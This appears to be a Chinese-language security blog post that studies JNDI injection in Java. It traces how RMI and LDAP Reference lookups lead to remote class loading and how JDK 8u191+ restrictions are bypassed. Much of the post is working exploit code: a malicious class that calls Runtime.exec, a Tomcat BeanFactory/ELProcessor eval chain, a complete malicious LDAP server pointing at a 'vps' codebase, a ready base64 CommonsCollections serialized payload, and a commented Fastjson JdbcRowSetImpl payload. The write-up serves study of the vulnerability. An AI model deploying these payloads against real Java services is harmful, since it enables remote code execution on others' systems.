JNDI

一.简介

简述

JNDI(Java Naming and Directory Interface)是 Java 提供的标准命名和目录接口,通过统一的 JNDI API 使 java 应用程序能够访问各种命名和目录服务。它允许开发人员以统一的方式查找和访问资源,如用户、网络、机器和服务等。

JNDI SPI

SPI 即服务提供者接口,JNDI 架构由 API 和服务提供者接口 (SPI) 组成。SPI 支持以透明方式插入各种命名和目录服务,所以我们的应用能使用 JNDI 的 API 访问相关服务的接口

JDK 提供了以下服务和接口:

  • LDAP :轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
  • 通用对象请求代理体系结构 (CORBA) 通用对象服务 (COS) 名称服务
  • RMI: JAVA 远程方法协议,调用 java 远程服务器上的对象
  • 域:服务 (DNS)

前三种都满足一个字符串绑定一个对象,其中漏洞涉及最多的是 LDAP 和 RMI 两种服务接口


简单了解一下命名服务和目录服务:

命名服务

命名服务:将 java 对象以某个名称的形式绑定 bind 到容器环境 Context 中(容器环境也就是上下文,在后续调试过程中要关注的)。(容器环境本身也是一个 java 对象),之后调用容器可以查找出名称绑定的 java 对象。例如:RMI 通过名称查找并调用远程对象,DNS 通过域名查找 ip。它们都是命名服务

目录服务

目录服务是命名服务的扩展,主要的区别在于目录容器环境 DirContext中保存的是对象的属性信息,而不是对象本身,所以,目录提供的是对属性的各种操作,也就是说它的容器环境中绑定的是对象的属性。例如:LDAP

以上是 JNDI 的四个服务,对应四个包外加一个主包

  • javax.naming
  • javax.naming.directory
  • javax.naming.event
  • javax.naming.ldap
  • javax.naming.spi

JNDI API 中提供的代表目录容器环境的类为 DirContext,DirContext 是 Context 的子类

NDI API 中提供了一个 InitialDirContext 类来创建用作 JNDI 命名与目录属性操作的入口 DirContext 对象

https://www.cnblogs.com/drunkPullBreeze/p/15466001.html

JNDI 详细介绍

二.JDNI 结合 RMI 的原生漏洞

服务端:实例化了一个初始化上下文对象,用它来执行对应的操作 bind

1
2
3
4
5
6
7
8
9
10
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);

InitialContext initialContext=new InitialContext();
initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());

}

}

客户端

API 是用的 JDNI 的,还是初始化上下文对象进行查找远程对象

1
2
3
4
5
6
7
8
9
public class RMIClient {
public static void main(String[] args) throws NamingException, RemoteException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
String uri = "rmi://127.0.0.1:1099/remoteObj";
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup(uri);
System.out.println(remoteObj.sayhello("hello"));

}
}

原生漏洞:

客户端 lookup 查询,可以看到进入了 RegistryContext.lookup,底层走的还是 RegistryImpl_Stub.lookup 包括上面的 rebind 也是走的 RMI 中注册中心静态 stub 逻辑, 所以用 JNDI 接口访问 RMI,底层还是走的原生的 RMI 服务,当他们两个结合起来使用,RMI 的漏洞也是同样适用的

三.JNDI 注入漏洞

3.1 JNDI+RMI

简单来说:JNDI 注入就是从远程工厂位置动态加载恶意类,造成客户端的攻击。

RMI 绑定的是远程对象,传统的 JNDI 注入是绑定的引用对象。

1
Reference reference = new Reference("Calc", "Calc", "http://127.0.0.1:7000/");
1
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);

1.1 Reference

即命名引用,构造方法:

引用本身并不持有对象数据,而是通过直接指针或句柄(特殊的指针) 2 种方式来访问真正的对象数据;

构造器:

1
2
3
4
5
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}
  1. <font style="background-color:rgb(249, 242, 244);">className</font> - 远程加载时所使用的类名
  2. <font style="background-color:rgb(249, 242, 244);">classFactory</font> -工厂名
  3. <font style="background-color:rgb(249, 242, 244);">classFactoryLocation</font> - 工厂的位置

tips:既然都叫引用了,那就类似指针还有解引用,它相当于接下来说的 decodeObject 里面调用的 NamingManager.getObjectInstance

1.2 代码演示

JNDI 注入与使用哪种服务无关,这里以 RMI 为例:

服务端:相当于用 Reference 代理了远程对象,Reference 实例化时传参是将 Reference 对象绑定到了注册中心

1
2
3
4
5
6
7
8
9
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);

InitialContext initialContext=new InitialContext();
// initialContext.rebind("rmi://localhost:7000/remoteObj", new RemoteObjImpl());
Reference reference = new Reference("Calc", "Calc", "http://127.0.0.1:7000/");//恶意端口
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);

}

恶意类:python 起一个服务指向设置的恶意端口 7000,并将恶意类编译后放在服务目录下(注意需要把 package 去掉,再进行编译,因为服务目录下是没有包目录的)

1
2
3
4
5
6
7

public class Calc {
public Calc() throws Exception {
Runtime.getRuntime().exec("calc");
}

}

客户端:JNDI 的 API 直接查询即可触发

1
2
3
4
5
6
7
8
9
public class RMIClient {
public static void main(String[] args) throws NamingException, RemoteException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
String uri = "rmi://127.0.0.1:1099/remoteObj";
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup(uri);
System.out.println(remoteObj.sayhello("hello"));

}
}

1.3 断点分析

漏洞不是出现在远程交互时,而是在交互之后。我们看看客户端向注册中心查询时,怎么个流程就触发了漏洞

在客户端 lookup 下断点进行调试

首先先进入到之前说的 RegistryContext.lookup 这个容器环境的方法里面,之后是调用的 RMI 的原生方法—>即执行 RegistryImpl_Stub 建立网络连接进行交互获得对象的逻辑

完成了交互,接着从 decodeObject 这里跟进去这里算是 JNDI 注入的连接入口,参数 var2 是查询之后的结果发现是 Reference 类是因为在服务端 rebind 的时候调用 encodeObject 进行转换

RegistryContext.decodeObject:先是进行判断是否是 RemoteReference 类获得一个返回值,var3,定义为 Object 引用,var3 是封装的 Reference 对象里面包含有类名及加载类的地址,然后接下来重点关注的是 getObjectInstance 方法,传的前两个参数是 Reference 对象和工厂名称 name

NamingManager.getObjectInstance:

buiilder 这里没有执行逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{

ObjectFactory factory;

// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}

// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}

Object answer;

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

} else {
// if reference has no factory, check for addresses
// containing URLs

answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}

// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}

上面的执行逻辑:传入的 Object 是引用类型实例或其子类实例,就进行强转,赋值给 ref, 判断 ref 及它的 factory 不为空就调用方法 getFactoryFromReference()获得 Reference 的 factory

  • getObjectInstacne 这个方法设计之初是为了让 JNDI 去处理 RMI 的注册中心绑定对象为 Reference 的这种情况,用引用对象去加载真正的对象, JNDI 支持解引用,它的原因其实是在这里。

跟进**NamingManager.getFactoryFromReference()**,类加载的逻辑就都在这里

首先是 AppClassLoader 进行加载类,这里 helper 是抽象类 VersionHelper 的实例化对象,而 VersionHelper12 实现该抽象类,调的就是 VersionHelper12.loadClass 方法,调用重载的方法 forName,全类名反射,但是本地肯定加载不类,所以返回给的 cls 为空

1
2
//NamingManager.getFactoryFromReference()
clas = helper.loadClass(factoryName);

VersionHelper12.loadClass

APP 从本地没有加载到接着会从 codebase 中加载,即传给 factoryLocation 的那个 url,下一步还是 helper 调用 loadClass 进行类加载,进入到 VersionHelper12.loadClass

该方法里面先用 URLClassLoader 实例化生成类加载器,又进入重载的方法还是反类名反射获得类对象

  • 回顾一下,重载方法这里 forName 全类名反射会触发类的初始化执行并合并静态代码块和静态变量。所以如果我的恶意代码写在了静态方法中,此时已经可以弹出计算器了,但我们写在了构造方法中,就需要后面的实例化才能触发

重载的方法 VersionHelper12.loadClass:

1
2
3
4
5
6
Class<?> loadClass(String className, ClassLoader cl)
throws ClassNotFoundException {
Class<?> cls = Class.forName(className, true, cl);
return cls;
}

这里加载类成功,之后返回刚刚的流程接着 getFactoryFromReference()那里最后实例化触发恶意类构造函数执行,弹出计算器

再说一下返回值赋给了 factory,所以它是恶意类的实例化对象

该漏洞在 jdk8u121 中被修复。在 RegistryContext.decodeCodeObject 里面增加了 trustURLCodebase

只有当客户端手动开启之后才允许远程加载类,虽然但是危险加载类的方法是在 NamingManager.getFactoryFromReference(),在 8u191 之前 LDAP 的 Context 中并没有进行修复,所以 LDAP 还是能攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
Reference var8 = null;
if (var3 instanceof Reference) {
var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {
var8 = ((Referenceable)((Referenceable)var3)).getReference();
}

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}

总结

造成攻击的原因:

在服务端 bind 了一个 Reference 引用对象到注册中心,客户端 lookup 向注册中心查询它并下载到本地,会到 Reference 的 classFactoryLocation 指定的地址去下载 className 指定 class 文件,攻击者可以在构造方法或者是静态代码等地方加入恶意代码,接着加载并实例化,从而加载远程恶意 class 实现 RCE。

JNDI+RMI 的攻击:

原生 RMI:JNDI 的 API(InitialContext)调用 lookup 走的还是 RMI 的逻辑

JNDI 注入:客户端进行调用时会走完 RMI 原生逻辑之后调用 decodeObject 里面最后走到加载 Reference 的 factory,即方法 getFactoryFromReference(),主要是运用动态类加载造成漏洞造成攻击的原因:

3.2 JNDI +LDAP

1.1 LDAP

上面简介中讲 LDAP 属于目录服务,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。

LDAP 目录服务是由目录数据库和一套访问协议组成的系统。所以它既是一个服务也是协议

LDAP 并不是 java 的东西,它是一个协议

在这里用 ApacheDirectoryStudio 先启动一个 LDAP 服务

然后服务端用 JNDI 去连接,并且绑定引用对象到 LDAP 服务上,引用对象里面封装的恶意 http 服务端:

1
2
3
4
5
6
7
8
public class LDAPServer {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("Calc","Calc","http://127..0.1:7000/");
initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com",reference);

}
}

可以看到已经绑定成功了

再运行客户端,弹出计算器。客户端 lookup,是根据传递参数的协议,进而走相对应的 Context 逻辑

1
2
3
4
5
6
public class LDAPClient {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
}
}

1.2 断点分析

还是 lookup 处下断点,接着进入 LdapCtx.c_lookup—–>DirectoryManager.getObjectInstance()它是 NamingManager 的子类—>NamingManager.getObjectFactoryFromReference()

就还是来到了前面所说的动态类加载的地方,一样的流程先从本地加载没加载到,从获取的 codebase 中进行加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//NamingManager.getObjectFactoryFromReference()
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

总结

LDAP+JNDI 还是将 Reference 引用对象进行绑定,只不过绑定到了 LDAP 端

攻击点:客户端获取了绑定的对象之后,获取 Reference 的工厂对象 factory,进而导致远程类加载

至此仅依赖 jdk 内置源码的 JNDI 注入收尾,下面高版本的绕过需要其他依赖

四.绕过高版本 jdk(>191)

高版本修复点:在 jdk8u191 之后,还是先从本地进行加载,再从 codebase 进行加载,但是从 codecase 中加载类时,不同于 RMI 在 RegistryContext 的修复在这里是 loadClass 添加了 trustURLCodebase 进行修复,是 true 的时候才允许从远端进行加载。它走到获得引用对象那里都是 ok 的,只是不允许远程从工厂位置加载类。说明引用对象还是可以利用的。

4.1 绕过一

本地加载工厂对象,以此为连接点,执行工厂对象的恶意方法

前面逻辑:DirectManger.getObjectInstance()调用 NamingManger.getFactoryFromReference() 在获取工厂的方法中加载类造成攻击

而高版本获取工厂对象被修复·正常执行而不是作为攻击点,之后又正常走回到 DirectManger.getObjectInstance,调用 factory 的 getObjectInstancee,factory 是获取的工厂类对象,并且传入方法的参数都是可控的,注意下传入的第一个参数 ref 是绑定的引用对象。所以就得先找到一个工厂类来连接后续的攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment, Attributes attrs)
throws Exception {

......
Object answer;

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
ref, name, nameCtx, environment, attrs);
} else if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

} ......

找依赖优先找最常见的,最终选择 tomcat 的 org.apache.naming.factory.BeanFactory

它调用 getObjectInstance

代码

先绑定引用对象到 RMI

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
InitialContext initialContext = new InitialContext();
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","",
true,"org.apache.naming.factory.BeanFactory",null );
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('calc')" ));
initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef);

}


客户端还是直接调用

那接下来看为什么绑定引用对象那样写,跟进调试 BeanFactory.getObjectInstance()

该方法中反射实例化了一个 beanclass 对象,反射调用 setterName,且它可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
public class BeanFactory implements ObjectFactory {
public BeanFactory() {
}

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
try {
Reference ref = (Reference)obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException var26) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}

if (beanClass == null) {
throw new NamingException("Class not found: " + beanClassName);
} else {
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.getConstructor().newInstance();
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap();
if (ra != null) {
String value = (String)ra.getContent();
Class<?>[] paramTypes = new Class[]{String.class};

for(String param : value.split(",")) {
param = param.trim();
int index = param.indexOf(61);
String setterName;
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
}

try {
forced.put(param, beanClass.getMethod(setterName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {
throw new NamingException("Forced String setter " + setterName + " not found for property " + param);
}
}
}

Enumeration<RefAddr> e = ref.getAll();

while(e.hasMoreElements()) {
ra = (RefAddr)e.nextElement();
String propName = ra.getType();
if (!propName.equals("factory") && !propName.equals("scope") && !propName.equals("auth") && !propName.equals("forceString") && !propName.equals("singleton")) {
String value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = (Method)forced.get(propName);
if (method != null) {
valueArray[0] = value;

try {
method.invoke(bean, valueArray);
......

beanClass 就是引用对象传入的类 ELProcessor

setterName 就是由引用对象 ref.get(forceString)得到的:

从 Reference 中取名为 forceString 的值( “x=eval”),将其解析为“属性名 -> 方法名”的映射,接着检查是否存在等号(ascii=61),不存在就到用默认的 setter 方法,当然我们传入值是存在=的,就会强制设置 setterName 等于键为 x 对应的值 eval

之后这里将 beanclass 生成的抽象 eval 的 Method 方法存在了 HashMap 中

从下一个元素中取名为 x 的值作为反射调用方法的参数,并且从 forced 这个 HashMap 表中获得方法赋值给 Method

然后执行 method.invoke,反射调用

4.2 绕过二

跟着调试了一下,发现 Ldap 和 RMI 高版本不一样,加载本地工厂,执行工厂恶意方法反射调用是走不通的:

可以看到工厂执行的恶意方法首先有检测,传入的参数需要为 ResourceRef 的子类,才会进入 if 执行反射调用方法

往前调,工厂对象的 getObjectInstance 恶意方法是在 DirectManager.getObjectInstance 方法中获取完工厂对象后调用的。

再往前调,第一个参数是由 decodeObject 方法获得的,为 Reference 类型

tips:一个知识点和上面没啥关系,但也是上面跟踪的时候差点误以为 LDAP 打不通的点:

RMI,LDAP 工厂对象调用恶意方法时的参数,虽然都经过了强制类型转化,转化为 Reference,但这是父类引用指向子类对象。在编译时是父类引用,但在执行过程中是以原本的类型执行。RMI 的参数就是我们绑定的 ResourceRef 对象强转,Ldap 是 decodeObject 返回的变量 var3 是 Reference 类型

所以接下来学高版本绕过二:

LDAP 在获取远远程对象之后进行 decodeObject 解码,该方法中触发反序列化


如果 java 对象的 javaClassName 属性值不为空,就会调用 deserializeObject 反序列化方法,

该方法中如果 javaSerializedData 属性值不为空,获得一个 URLClassLoader 并返回一个序列化数据

代码

ysoserial 生成 CC6gadget

服务端客户端都添加依赖:

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.80</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
package JNDI_RMI_Injection;

import com.unboundid.util.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class JNDILDAP_bypass {
private static final String LDAP_BASE = "dc=example,dc=com";


public static void main (String[] args) {

String url = "http://vps:8000/#ExportObject";
int port = 7000;


try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}

// Payload1: 利用LDAP+Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());

// Payload2: 返回序列化Gadget
try {
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
} catch (ParseException exception) {
exception.printStackTrace();
}

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

客户端:先用 lookup 攻击,后续再学习 Fastjson

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package JNDI_RMI_Injection;

import com.alibaba.fastjson.JSON;

import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDILDAPClient_bypass {
public static void main(String[] args) throws Exception {
// lookup参数注入触发
Context context = new InitialContext();
context.lookup("ldap://localhost:7000/ExportObject");

/* // Fastjson反序列化JNDI注入Gadget触发
String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }";
JSON.parse(payload);*/
}
}

调试

自己先试着调。

一如既往地 lookup 下断点,先是进入 Ldap 对应的上下文 LdapCtx.lookup

ClassName 属性值存在进入 decodeObject,

这里条件 javaSerializedData 属性值不为空也是满足的,进入 deserializeObject

readObejct 反序列化

五. 总结


JNDI
https://bxhhf.github.io/2025/10/13/yuque-hexo-post/JNDI/
作者
bxhhf
发布于
2025年10月13日
许可协议